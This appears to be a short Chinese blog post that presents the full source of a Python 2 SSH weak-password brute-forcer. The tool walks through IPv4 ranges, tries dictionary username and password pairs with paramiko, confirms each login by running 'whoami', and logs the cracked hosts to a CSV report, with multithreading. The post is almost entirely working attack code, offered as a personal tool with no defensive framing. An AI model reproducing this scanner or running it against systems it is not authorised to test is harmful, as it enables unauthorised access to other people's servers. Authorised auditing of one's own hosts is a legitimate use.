不多说了,直接上手代码,也没有啥练手的,都是很熟悉的代码,水一篇,方便作为工作的小工具吧。试了一下,配合一个好点的字典,还是可以作为个人小工具使用的。
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 4 ''' 5 SSH服务弱口令扫描脚本 6 作者:陈然 7 ''' 8 9 #引入包文件 10 import ipaddr 11 import logging 12 import datetime 13 import paramiko 14 import threading 15 from optparse import OptionParser 16 17 #定义全局配置 18 logging.basicConfig(format="%(message)s",level=logging.INFO) 19 20 #定义全局变量 21 username_config_file = "../config/username.conf" 22 password_config_file = "../config/password.conf" 23 username_list = [] 24 password_list = [] 25 target_list = [] 26 result_list = [] 27 multi_thread = False 28 29 30 #定义全局接口函数 31 def read_config_from_file(): 32 """从配置文件夹下的字典文件中读取爆破用户名和口令""" 33 global username_list 34 global password_list 35 #读取用户名字典 36 with open(username_config_file,"r") as fr: 37 for line in fr.readlines(): 38 username = line.split("\n")[0].split("\r")[0] 39 username_list.append(username) 40 #读取口令字典 41 with open(password_config_file,"r") as fr: 42 for line in fr.readlines(): 43 password = line.split("\n")[0].split("\r")[0] 44 password_list.append(password) 45 #字典列表去重 46 username_list = list(set(username_list)) 47 password_list = list(set(password_list)) 48 49 50 def change_config_files(username_file=None,password_file=None): 51 """指定用户名和口令的字典配置文件""" 52 global username_config_file 53 global password_config_file 54 if username_file != None: 55 username_config_file = username_file 56 if password_file != None: 57 password_config_file = password_file 58 59 def target_analyst(target): 60 """对于目标网络地址分析并拆分其中的地址段 仅支持IPv4""" 61 global target_list 62 target = ipaddr.IPv4Network(target) 63 hosts_list = target.iterhosts() 64 for host in hosts_list: 65 target_list.append(str(host)) 66 67 def target_file_anylast(filename): 68 """分析目标列表文件""" 69 file_to_target = [] 70 with open(filename,"r") as fr: 71 for line in fr.readlines(): 72 each_target = line.split("\n")[0].split("\r")[0] 73 file_to_target.append(each_target) 74 return file_to_target 75 76 77 def send_crack_packet(target,username,password,port=22,timeout=3): 78 """发送爆破登录报文""" 79 global result_list 80 #局部变量 81 flag = False#是否有漏洞的标志位,默认False 82 #创建SSH对象并登陆 83 logging.info("[+] 爆破对象 地址%s 端口:%s 用户名:%s 口令:%s"%(str(target),str(port),str(username),str(password))) 84 ssh = paramiko.SSHClient() 85 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 86 try: 87 ssh.connect(hostname=target, port=port, username=username, password=password,timeout=timeout,allow_agent=False,look_for_keys = False) 88 #执行命令 89 stdin, stdout, stderr = ssh.exec_command('whoami',timeout=timeout) 90 #获取命令结果 91 result = stdout.read().split("\n")[0] 92 if result == username: 93 flag = True 94 report_sting = "%s,%s,%s,%s,%s\n"%(str(target),"YES",str(port),str(username),str(password)) 95 result_list.append(report_sting) 96 logging.info("[*] 爆破成功: 详细信息[地址:%s,端口:%s,用户名:%s,口令:%s]"%(str(target),str(port),str(username),str(password))) 97 try: 98 if multi_thread == False: 99 continue_flag = raw_input("是否继续?[1]继续[2]退出") 100 continue_flag = int(continue_flag) 101 else: 102 continue_flag = 1 103 except Exception,ex: 104 continue_flag = 2 105 if continue_flag != 1: 106 exit(0) 107 except Exception,ex: 108 pass 109 #关闭连接 110 ssh.close() 111 return flag 112 113 114 def create_report(): 115 """生成报告文件""" 116 time_string = str(datetime.datetime.now()).replace(" ","").replace(":","") 117 fd = open("../result/%s.csv"%time_string,"w") 118 fd.write("Target-IP,WEAK,PORT,USERNAME,PASSWORD\n") 119 for result_string in result_list: 120 fd.write(result_string) 121 fd.close() 122 123 124 def parameter_checker(parameter): 125 """参数检查函数""" 126 if parameter in ["",None," ","null"]: 127 return False 128 else: 129 return True 130 131 132 def list_devide(object_list,count): 133 """列表拆分函数""" 134 return_list = [] 135 if not isinstance(object_list,list): 136 return [] 137 else: 138 total = len(object_list) 139 size = total/count + 1 140 start = 0 141 end = start + size 142 while True: 143 if end <= total: 144 return_list.append(object_list[start:end]) 145 elif end > total and start < total: 146 return_list.append(object_list[start:]) 147 elif start > total: 148 break 149 else: 150 break 151 start += size 152 end += size 153 return return_list 154 155 class cracker(threading.Thread): 156 """多线程爆破类""" 157 def __init__(self,target_list,timeout): 158 """多线程爆破构造函数""" 159 threading.Thread.__init__(self) 160 self.__target_list = target_list 161 self.__timeout = timeout 162 163 def run(self): 164 for target in self.__target_list: 165 for username in username_list: 166 for password in password_list: 167 send_crack_packet(target=target,username=username,password=password,timeout=self.__timeout) 168 169 170 if __name__ == '__main__': 171 parser = OptionParser() 172 parser.add_option("-a","--target",dest="target",help="Target IP Addresses!") 173 parser.add_option("-i","--infile",dest="infile",help="Target IP Addresses File!") 174 parser.add_option("-u","--user",dest="userfile",help="Username Dictionary File!") 175 parser.add_option("-p","--pswd",dest="pswdfile",help="Password Dictionary File!") 176 parser.add_option("-o","--outfile",dest="outfile",help="Create A Report File! If [Yes] Create Report!") 177 parser.add_option("-n","--thread",dest="threadnum",help="Count Of Thread!") 178 parser.add_option("-t","--timeout",dest="timeout",help="Timeout Of Seconds!") 179 (options, arges) = parser.parse_args() 180 try: 181 options.threadnum = int(options.threadnum) 182 except Exception,ex: 183 options.threadnum = 1 184 options.threadnum = 10 if options.threadnum > 10 else options.threadnum 185 try: 186 timeout = int(options.timeout) 187 except Exception,ex: 188 timeout = 3 189 timeout = 60 if timeout >= 60 else timeout 190 if (parameter_checker(options.target) or parameter_checker(options.infile)) == False: 191 logging.error("[-] 输入参数错误!!!") 192 exit(0) 193 logging.info("[+] 目标初始化...") 194 if options.infile != None: 195 ret = target_file_anylast(options.infile) 196 for item in ret: 197 if item.find("/") >= 0 or item.find("-") >= 0: 198 target_analyst(item) 199 else: 200 target_list.append(item) 201 if options.target != None: 202 if options.target.find("/") >= 0 or options.target.find("-") >= 0: 203 target_analyst(options.target) 204 else: 205 target_list.append(options.target) 206 logging.info("[+] 目标初始化完成!!!") 207 if (parameter_checker(options.userfile) or parameter_checker(options.pswdfile)) == True: 208 logging.info("[+] 配置字典文件!!!") 209 change_config_files(username_file=options.userfile,password_file=options.pswdfile) 210 read_config_from_file() 211 logging.info("[+] 开始扫描") 212 #单线程爆破 213 if options.threadnum == 1: 214 for target in target_list: 215 for username in username_list: 216 for password in password_list: 217 send_crack_packet(target=target,username=username,password=password,timeout=timeout) 218 #多线程爆破 219 else: 220 multi_thread = True 221 thread_list = [] 222 thread_target_list = list_devide(target_list,options.threadnum) 223 for thread_target in thread_target_list: 224 thread_object = cracker(thread_target,timeout) 225 thread_list.append(thread_object) 226 for thread in thread_list: 227 thread.start() 228 for thread in thread_list: 229 thread.join() 230 if parameter_checker(options.outfile) and options.outfile == "yes": 231 logging.info("[+] 生成报告中...") 232 create_report() 233 logging.info("[+] 报告已生成!!!") 234 logging.info("[+] 扫描完成")